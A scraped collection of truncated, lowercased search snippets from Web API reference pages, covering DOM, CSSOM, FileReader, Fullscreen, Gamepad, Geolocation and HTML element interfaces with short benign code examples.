did you realize how many default css properties a link had? update the 'a' to the 'p', and you'll notice a difference in the margin-top and margin-bottom default computed values. specifications specification status comment css typed o...
...ssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(prop)); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } in browsers that support computedstylemap(), you'll see a list of all the css properties and values. in other browsers you'll just see a link. did you realize how many default css properties a link had? update the 'a' to the 'p', and you'll notice a difference in the margin-top and margin-bottom default computed values. specifications specification status comment css typed om level 1the definition of 'computedstylemap()' in that specification. working draft initial definiti...
Element.getBoundingClientRect() - Web APIs
osition changes (because their values are relative to the viewport and not absolute). if you need the bounding rectangle relative to the top-left corner of the document, just add the current scrolling position to the top and left properties (these can be obtained using window.scrollx and window.scrolly) to get a bounding rectangle which is independent from the current scrolling position. cross-browser fallback scripts requiring high cross-browser compatibility can use window.pagexoffset and window.pageyoffset instead of window.scrollx and window.scrolly. scripts without access to these properties can use code like this: // for scrollx (((t = document.documentelement) || (t = document.body.parentnode)) && typeof t.scrollleft == 'number' ? t : document.body).scrollleft // for scrolly (((t ...
...to the absolute distance from the relevant edge of the viewport to that side of the element, in each case. specifications specification status comment css object model (cssom) view modulethe definition of 'element.getboundingclientrect()' in that specification. working draft initial definition notes the returned domrect object can be modified in modern browsers. this was not true with older versions which effectively returned domrectreadonly. with ie and edge, not being able to add missing properties to their returned clientrect, object prevents backfilling x and y. due to compatibility problems (see below), it is safest to rely on only properties left, top, right, and bottom. properties in the returned domrect object are not own properties. while ...
Element.matches() - Web APIs
Web › API › Element › matches
xt/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].textcontent + ' is endangered!'); } } </script> this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered. ...
...ie9+ support). if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } specification specification status comment domthe definition of 'element.prototype.matches' in that...
Element.requestFullscreen() - Web APIs
e. if permission is denied, the promise is rejected and the element receives a fullscreenerror event instead. if the element has been detached from the original document, then the document receives these events instead. earlier implementations of the fullscreen api would always send these events to the document rather than the element, and you may need to be able to handle that situation. check browser compatibility in fullscreen for specifics on when each browser made this change. note: this method must be called while responding to a user interaction or a device orientation change; otherwise it will fail. syntax var promise = element.requestfullscreen(options); parameters options optional a fullscreenoptions object providing options that control the behavior of the transition to...
.... syntax var promise = element.requestfullscreen(options); parameters options optional a fullscreenoptions object providing options that control the behavior of the transition to full-screen mode. currently, the only option is navigationui, which controls whether or not to show navigation ui while the element is in full-screen mode. the default value is "auto", which indicates that the browser should decide what to do. return value a promise which is resolved with a value of undefined when the transition to full screen is complete. exceptions rather than throw a traditional exception, the requestfullscreen() procedure announces error conditions by rejecting the promise it has returned. the rejection handler receives one of the following exception values: typeerror the typeer...
Element.setCapture() - Web APIs
syntax element.setcapture(retargettoelement); retargettoelement if true, all events are targeted directly to this element; if false, events can also fire at descendants of this element. ...
...tyle> <script type="text/javascript"> function init() { var btn = document.getelementbyid("mybutton"); if (btn.setcapture) { btn.addeventlistener("mousedown", mousedown, false); btn.addeventlistener("mouseup", mouseup, false); } else { document.getelementbyid("output").innerhtml = "sorry, there appears to be no setcapture support on this browser"; } } function mousedown(e) { e.target.setcapture(); e.target.addeventlistener("mousemove", mousemoved, false); } function mouseup(e) { e.target.removeeventlistener("mousemove", mousemoved, false); } function mousemoved(e) { var output = document.getelementbyid("output"); output.innerhtml = "position: " + e.clientx + ", " + e.client...
Event.cancelable - Web APIs
Web › API › Event › cancelable
y of the event interface indicates whether the event can be canceled, and therefore prevented as if the event never happened. if the event is not cancelable, then its cancelable property will be false and the event listener cannot stop the event from occurring. event listeners that handle multiple kinds of events may want to check cancelable before invoking their preventdefault() methods. most browser-native events that can be canceled are the ones that result from the user interacting with the page. canceling the click, scroll, or beforeunload events would prevent the user from clicking on something, scrolling the page, or navigating away from the page, respectively. custom events created by other javascript code control if they can be canceled when they are created. syntax bool = event.
...the click, scroll, or beforeunload events would prevent the user from clicking on something, scrolling the page, or navigating away from the page, respectively. custom events created by other javascript code control if they can be canceled when they are created. syntax bool = event.cancelable; value the result is a boolean, which is true if the event can be canceled. example for example, browser vendors are proposing that the wheel event can only be canceled the first time the listener is called — any following wheel events cannot be canceled. function preventscrollwheel(event) { if (typeof event.cancelable !== 'boolean' || event.cancelable) { // the event can be canceled, so we do so. event.preventdefault(); } else { // the event cannot be canceled, so it is not saf...
Event - Web APIs
Web › API › Event
introduced by internet explorer and eventually adopted into the dom specification in order to ensure existing sites continue to work. ideally, you should try to use event.preventdefault() and event.defaultprevented instead, but you can use returnvalue if you choose to do so. event.srcelement a non-standard alias (from old versions of microsoft internet explorer) for event.target. some other browsers are starting to support it for web compatibility purposes. event.target read only a reference to the target to which the event was originally dispatched. event.timestamp read only the time at which the event was created (in milliseconds). by specification, this value is time since epoch—but in reality, browsers' definitions vary. in addition, work is underway to change this to be a dom...
... read only the time at which the event was created (in milliseconds). by specification, this value is time since epoch—but in reality, browsers' definitions vary. in addition, work is underway to change this to be a domhighrestimestamp instead. event.type read only the name of the event. case-insensitive. event.istrusted read only indicates whether or not the event was initiated by the browser (after a user click, for instance) or by a script (using an event creation method, like event.initevent). deprecated properties event.scoped read only a boolean indicating whether the given event will bubble across through the shadow root into the standard dom. use composed instead. methods event.composedpath() returns the event’s path (objects on which listeners will be invoke...
EventSource - Web APIs
ver are delivered to your code in the form of events. if there is an event field in the incoming message, the triggered event is the same as the event field value. if no event field is present, then a generic message event is fired. unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser). that makes them an excellent choice when there's no need to send data from the client to the server in message form. for example, eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage. when not used over http/2, sse suffers from a limitation to the maximum numbe...
...ver in message form. for example, eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6). the issue has been marked as "won't fix" in chrome and firefox. this limit is per browser + domain, so that means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com. (from stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the serv...
EventTarget.dispatchEvent() - Web APIs
= !target.dispatchevent(event) parameter event is the event object to be dispatched. target is used to initialize the event.target and determine which event listeners to invoke. return value the return value is false if event is cancelable and at least one of the event handlers which received event called event.preventdefault(). otherwise it returns true. the dispatchevent() method throws unspecified_event_type_err if the event's type was not specified by initializing the event before the method was called, or if the event's type is null or an empty string. exceptions exceptions thrown by event handlers are reported as uncaught exceptions. the event handlers run on a nested callstack; they block the caller until they complete, but exceptions do not propagate to the caller. note...
...the implementation's event model. the event can be created using event constructor. see also the event object reference. example see creating and triggering events. specifications specification status comment domthe definition of 'eventtarget.dispatchevent()' in that specification. living standard initial definition in the dom 2 events specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdispatcheventchrome ...
Fetch API - Web APIs
Web › API › Fetch API
ure or if anything prevented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch() won’t send cookies, unless you set credentials: 'same-origin'. in august 2017, the spec changed the default credentials policy to 'same-origin'. the following browsers shipped and outdated native fetch, and were updated in these versions: firefox version 61.0b13. safari version 12. chrome version 68. if you are targetting older versions of these browsers, be sure to include credentials: 'same-origin' init option on all api requests that may be affected by cookies/user login state. note: find out more about using the fe...
...see the interface pages for more details. ...
Using files from web applications - Web APIs
using the file api, which was added to the dom in html5, it's now possible for web content to ask the user to select local files and then read the contents of those files. this selection can be done by either using an html <input type="file"> element or by drag and drop. if you want to use the dom file api from extensions or other browser chrome code, you can; however, note there are some additional features to be aware of. see using the dom file api in chrome code for details. accessing selected file(s) consider this html: <input type="file" id="input" multiple> the file api makes it possible to access a filelist containing file objects representing the files selected by the user. the multiple attribute on the input element allows the user to select multiple files. accessing the first...
... in firefox, to have the pdf appear embedded in the iframe (rather than proposed as a downloaded file), the preference pdfjs.disabled must be set to false . <iframe id="viewer"> and here is the change of the src attribute: const obj_url = url.createobjecturl(blob); const iframe = document.getelementbyid('viewer'); iframe.setattribute('src', obj_url); url.revokeobjecturl(obj_url); example...
FileReader.readAsDataURL() - Web APIs
review = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader =...
...see also this more powerful example. specifications specification status comment file apithe definition of 'readasdataurl()' in that specification. working draft initial definition ...
FileReaderSync.readAsArrayBuffer() - Web APIs
has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. ...
... is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readasarraybuffersync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadasarraybufferchrome...
FileReaderSync.readAsBinaryString() - Web APIs
has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. ...
...is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readasbinarystringsync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadasbinarystringchrom...
FileReaderSync.readAsDataURL() - Web APIs
has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. ...
...leerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readasdataurl' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadasdataurlchrome ...
FileReaderSync.readAsText() - Web APIs
has been modified by a third party; too many read are performed simultaneously; the file pointed by the resource is unsafe for a use from the web (like it is a system file). notreadableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. ...
...dableerror is raised when the resource cannot be read due to a permission problem, like a concurrent lock. encodingerror is raised when the resource is a data url and exceed the limit length defined by each browser. specifications specification status comment file apithe definition of 'readastext' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadastextchrome ...
FullscreenOptions.navigationUI - Web APIs
ns dictionary's navigationui property is used when calling requestfullscreen() to specify to what extent the user agent should include its standard user interface while the element is presented in full-screen mode. syntax let fullscreenoptions = { navigationui: value }; value the value of the navigationui property must be one of the following strings. the default is "auto". ...
...user interface while the element is presented in full-screen mode. syntax let fullscreenoptions = { navigationui: value }; value the value of the navigationui property must be one of the following strings. the default is "auto". "hide" the browser's navigation interface will be hidden and the entire dimensions of the screen will be allocated to the display of the element. "show" the browser will present page navigation controls and possibly other user interface; the dimensions of the element (and the perceived size of the screen) will be clamped to leave room for this user interface. "auto" the browser will choose which of the above settings to apply. this is the default value. example in this example, the entire document is placed into full-screen mode by calling requestfull...
FullscreenOptions - Web APIs
...
... ...
Gamepad.mapping - Web APIs
Web › API › Gamepad › mapping
syntax readonly attribute domstring mapping; example var gp = navigator.getgamepads()[0]; console.log(gp.mapping); value a string. ...
... syntax readonly attribute domstring mapping; example var gp = navigator.getgamepads()[0]; console.log(gp.mapping); value a string. ...
Using the Gamepad API - Web APIs
s intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user. index: an integer that is unique for each gamepad currently connected to the system. this can be used to distinguish multiple controllers. note that disconnecting a device and then connecting a new device may reuse the previous index. mapping: a string indicating whether the browser has remapped the controls on the device to a known layout. currently there is only one supported known layout — the standard gamepad. if the browser is able to map controls on the device to that layout the mapping property will be set to the string standard. connected: a boolean indicating whether the gamepad is still connected to the system. if this is so the value is true; if not, it is fa...
...hub. to start with, we declare some variables: the gamepadinfo paragraph that the connection info is written into, the ball that we want to move, the start variable that acts as the id for requestanimation frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the requestanimationframe() and cancelanimationframe() cross browser forks. var gamepadinfo = document.getelementbyid("gamepad-info"); var ball = document.getelementbyid("ball"); var start; var a = 0; var b = 0; next we use the gamepadconnected event to check for a gamepad being connected. when one is connected, we grab the gamepad using navigator.getgamepads()[0], print information about the gamepad into our gamepad info div, and fire the gameloop() function...
Geolocation API - Web APIs
erating system will prompt the user to allow location access the first time it is requested. concepts and usage you will often want to retrieve a user's location information in your web app, for example to plot their location on a map, or display personalized information relevant to their location. the geolocation api is accessed via a call to navigator.geolocation; this will cause the user's browser to ask them for permission to access their location data. if they accept, then the browser will use the best available functionality on the device to access this information (for example, gps). the developer can now access this location information in a couple of different ways: geolocation.getcurrentposition(): retrieves the device's current location. geolocation.watchposition(): register...
...ords.longitude; status.textcontent = ''; maplink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`; maplink.textcontent = `latitude: ${latitude} °, longitude: ${longitude} °`; } function error() { status.textcontent = 'unable to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result specifications specification status comment geolocation api recommendation ...
HTMLAnchorElement.download - Web APIs
note: this value might not be used for download. this value cannot be used to determine whether the download will occur. ...
... note: this value might not be used for download. this value cannot be used to determine whether the download will occur. ...
HTMLAreaElement - Web APIs
trol. htmlareaelement.alt is a domstring that reflects the alt html attribute, containing alternative text for the element. htmlareaelement.coords is a domstring that reflects the coords html attribute, containing coordinates to define the hot-spot region. htmlareaelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the proposed name of the file. if the name is not a valid filename of the underlying os, browser will adapt it. htmlhyperlinkelementutils.hash is a usvstring containing the fragment identifier (including the leading hash mark (#)), if any, in the referenced url. htmlhyperlinkelementutils.host is a usvstring containing the hostname and port (if it's not the default port)...
...t (including leading question mark '?'), if any, of the referenced url. htmlareaelement.shape is a domstring that reflects the shape html attribute, indicating the shape of the hot-spot, limited to known values. htmlelement.tabindex is a long containing the element's position in the tabbing order. htmlareaelement.target is a domstring that reflects the target html attribute, indicating the browsing context in which to open the linked resource. htmlareaelement.type is a domstring that reflects the type html attribute, indicating the mime type of the linked resource. htmlhyperlinkelementutils.username is a usvstring containing the username specified before the domain name. methods inherits methods from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. ...
HTMLButtonElement - Web APIs
tribute overrides the action attribute of the <form> element that owns this element. htmlbuttonelement.formenctype is a domstring reflecting the type of content that is used to submit the form to the server. if specified, this attribute overrides the enctype attribute of the <form> element that owns this element. htmlbuttonelement.formmethod is a domstring reflecting the http method that the browser uses to submit the form. if specified, this attribute overrides the method attribute of the <form> element that owns this element. htmlbuttonelement.formnovalidate is a boolean indicating that the form is not to be validated when it is submitted. if specified, this attribute overrides the novalidate attribute of the <form> element that owns this element. htmlbuttonelement.formtarget is a do...
... methods inherits methods from its parent, htmlelement name return type description checkvalidity() boolean not supported for reset or button elements. reportvalidity() boolean not supported for reset or button elements. setcustomvalidity(in domstring error) void not supported for reset or button elements. with gecko-based browser, use the :-moz-submit-invalid pseudo-class to style submit buttons based on the validation of a form. specifications specification status comment html living standardthe definition of 'htmlbuttonelement' in that specification. living standard html 5.2the definition of 'htmlbuttonelement' in that specification. recommendation the menu attribute...
HTMLCanvasElement.getContext() - Web APIs
taining the context identifier defining the drawing context associated to the canvas. possible values are: "2d", leading to the creation of a canvasrenderingcontext2d object representing a two-dimensional rendering context. "webgl" (or "experimental-webgl") which will create a webglrenderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 1 (opengl es 2.0). "webgl2" which will create a webgl2renderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 2 (opengl es 3.0). "bitmaprenderer" which will create an imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas wit...
...e khronos group certifies webgl implementations under certain conformance rules. contextattributes you can use several context attributes when creating your rendering context, for example: const gl = canvas.getcontext('webgl', { antialias: false, depth: false }); 2d context attributes: alpha: boolean that indicates if the canvas contains an alpha channel. if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images. desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle from the event loop (gecko only) willreadfrequently: boolean that indicates whether or not a lot of read-back operations are planned. this will force the use of a softw...
HTMLCanvasElement - Web APIs
then this value will also be used as the width of the canvas in the length-unit css pixel. htmlcanvaselement.mozopaque is a boolean reflecting the moz-opaque html attribute of the <canvas> element. it lets the canvas know whether or not translucency will be a factor. if the canvas knows there's no translucency, painting performance can be optimized. this is only supported in mozilla-based browsers; use the standardized canvas.getcontext('2d', { alpha: false }) instead. htmlcanvaselement.mozprintcallback is a function that is initially null. web content can set this to a javascript function that will be called when the canvas is to be redrawn while the page is being printed. when called, the callback is passed a "printstate" object that implements the mozcanvasprintstate interface. th...
...of the surface of the canvas. htmlcanvaselement.getcontext() returns a drawing context on the canvas, or null if the context id is not supported. a drawing context lets you draw on the canvas. calling getcontext with "2d" returns a canvasrenderingcontext2d object, whereas calling it with "webgl" (or "experimental-webgl") returns a webglrenderingcontext object. this context is only available on browsers that implement webgl. htmlcanvaselement.todataurl() returns a data-url containing a representation of the image in the format specified by the type parameter (defaults to png). the returned image is in a resolution of 96dpi. htmlcanvaselement.toblob() creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discret...
HTMLDialogElement: cancel event - Web APIs
the cancel event fires on a <dialog> when the user instructs the browser that they wish to dismiss the current open dialog. for example, the browser might fire this event when the user presses the esc key or clicks a "close dialog" button which is part of the browser's ui. bubbles no cancelable yes interface event event handler oncancel examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('cancel', (event) => ...
... living standard ...
HTMLElement.innerText - Web APIs
t is aware of things like <br> elements, and ignores hidden elements. ...
... id="source"> <style>#source { color: red; } #text { text-transform: uppercase; }</style> <span id=text>take a look at<br>how this text<br>is interpreted below.</span> <span style="display:none">hidden text</span> </p> <h3>result of textcontent:</h3> <textarea id="textcontentoutput" rows="6" cols="30" readonly>...</textarea> <h3>result of innertext:</h3> <textarea id="innertextoutput" rows="6" cols="30" readonly>...</textarea> javascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment...
HTMLElement.offsetTop - Web APIs
losest relatively positioned parent element. example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels from its parent } specification specification status comment css object model (cssom) view modulethe definition of 'offsettop' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsettopchrome ...
...ort in compliance with the specification, this property will return null on webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed". this property will return null on internet explorer (9) if the style.position of the element itself is set to "fixed". (having display:none does not affect this browser.) ...
HTMLIFrameElement - Web APIs
en is a boolean indicating whether the inline frame is willing to be placed into full screen mode. see using full-screen mode for details. htmliframeelement.allowpaymentrequest is a boolean indicating whether the payment request api may be invoked inside a cross-origin iframe. htmliframeelement.contentdocument read only returns a document, the active document in the inline frame's nested browsing context. htmliframeelement.contentwindow read only returns a windowproxy, the window proxy for the nested browsing context. htmliframeelement.csp specifies the content security policy that an embedded document must agree to enforce upon itself. htmliframeelement.frameborder is a domstring that indicates whether to create borders between frames. htmliframeelement.height is a domstrin...
...ameelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the linked resource. htmliframeelement.sandbox is a domsettabletokenlist that reflects the sandbox html attribute, indicating extra restrictions on the behavior of the nested content. htmliframeelement.scrolling is a domstring that indicates whether the browser should provide scrollbars for the frame. htmliframeelement.src is a domstring that reflects the src html attribute, containing the address of the content to be embedded. note that programatically removing an <iframe>'s src attribute (e.g. via element.removeattribute()) causes about:blank to be loaded in the frame in firefox (from version 65), chromium-based browsers, and safari/ios. htmlifra...
HTMLImageElement.alt - Web APIs
e a domstring which contains the alternate text to display when the image is not loaded or for use by assistive devices. the alt attribute is officially mandatory; it's meant to always be specified. if the image doesn't require a fallback (such as for an image which is simply decorative or an advisory icon of minimal importance), you may specify an empty string (""). for compatibility reasons, browsers generally will accept an image without an alt attribute, but you should try to get into the habit of using it. usage notes the fundamental guideline for the alt attribute is that every image's alternate text should be able to replace the image without altering the meaning of the page. you should never use alt for text that could be construed as a caption or title. there are separate attribut...
...; } result other images images simply showing objects or scenes should have alt text describing what's seen in the image. a photo of a yellow teapot might literally have its alt attribute set to "a yellow teapot". specifications specification status comment html living standardthe definition of 'htmlimageelement.alt' in that specification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaltchrome ...
HTMLImageElement.currentSrc - Web APIs
syntax let currentsource = htmlimageelement.currentsrc; value a usvstring indicating the full url of the image currently visible in the <img> element represented by the htmlimageelement. this is useful when you provide multiple image options using the sizes and/or htmlimageelement.srcset properties. currentsrc lets you determine which image from the set of provided images was selected by the browser. example in this example, two different sizes are provided for an image of a clock. one is 200px wide and the other is 400px wide. the sizes attribute is provided to indicate that the image should be drawn at 50% of the document width if the viewport is under 400px wide; otherwise, the image is drawn at 90% width of the document. html <img src="/files/16797/clock-demo-400px.png" alt=...
...eelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentsrc experimentalc...
HTMLImageElement.decoding - Web APIs
the decoding property of the htmlimageelement interface represents a hint given to the browser on how it should decode the image. syntax refstr = imgelem.decoding; imgelem.decoding = refstr; values a domstring representing the decoding hint. possible values are: sync: decode the image synchronously for atomic presentation with other content. async: decode the image asynchronously to reduce delay in presenting other content. auto: default mode, which indicates no preference for the decoding mode. the browser decides what is best for the user. usage notes the decoding property allows you to control whether or not the browser is allowed to try to parallelize loading your image. if doing so would cause problems, you can specify sync to disable asynchronous loading. this can...
...le asynchronous loading. this can be useful when applied to <img> elements, but may be even more so when used for offscreen image objects. examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html living standardthe definition of 'decoding' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdecodingchrome ...
HTMLImageElement.isMap - Web APIs
server-side image maps, as they require the use of a mouse. use a client-side image map instead. syntax htmlimageelement.ismap = true|false; let ismap = htmlimageelement.ismap; value a boolean value which is true if the image is being used for a server-side image map; otherwise, the value is false. usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels. the browser then fetches that url from the server and displays or downloads it depending on the value of the download attribute. unlike server-side image maps, client-side image maps don't cause the <img> element to adop...
...he server and displays or downloads it depending on the value of the download attribute. unlike server-side image maps, client-side image maps don't cause the <img> element to adopt interactive content mode. specifications specification status comment html living standardthe definition of 'htmlimageelement.ismap' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetismapchrome ...
HTMLImageElement.sizes - Web APIs
e; that is, lengths such as 50% or 100% are not allowed, as there would be uncertainty as to what the specified value is a percentage of. example in this example, a blog-like layout is created, displaying some text and an image which for which three size points are specified, depending on the width of the window. three versions of the image are also available, with their widths specified. the browser takes all of this information and selects an image and width that best meets the specified values. how exactly the images are used may depend upon the browser and what the pixel density of the user's display is. buttons at the bottom of the example let you actually modify the sizes property slightly, switching the largest of the three widths for the image between 40em and 50em. html <articl...
...zes = image.sizes.replace(/50em,/, "40em,")); break50.addeventlistener("click", event => image.sizes = image.sizes.replace(/40em,/, "50em,")); result this result may be viewed in its own window here. specifications specification status comment html living standardthe definition of 'htmlimageelement.sizes' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsizes experimentalchrome...
HTMLImageElement.x - Web APIs
d> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below. let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top). then it looks at that <tr> (table row) element's cells property to get a list of the cells in ...
...100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.x' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetxchrome ...
HTMLImageElement.y - Web APIs
d> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below. let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top). then it looks at that <tr> (table row) element's cells property to get a list of the cells in ...
...100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.y' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetychrome ...
HTMLInputElement.setSelectionRange() - Web APIs
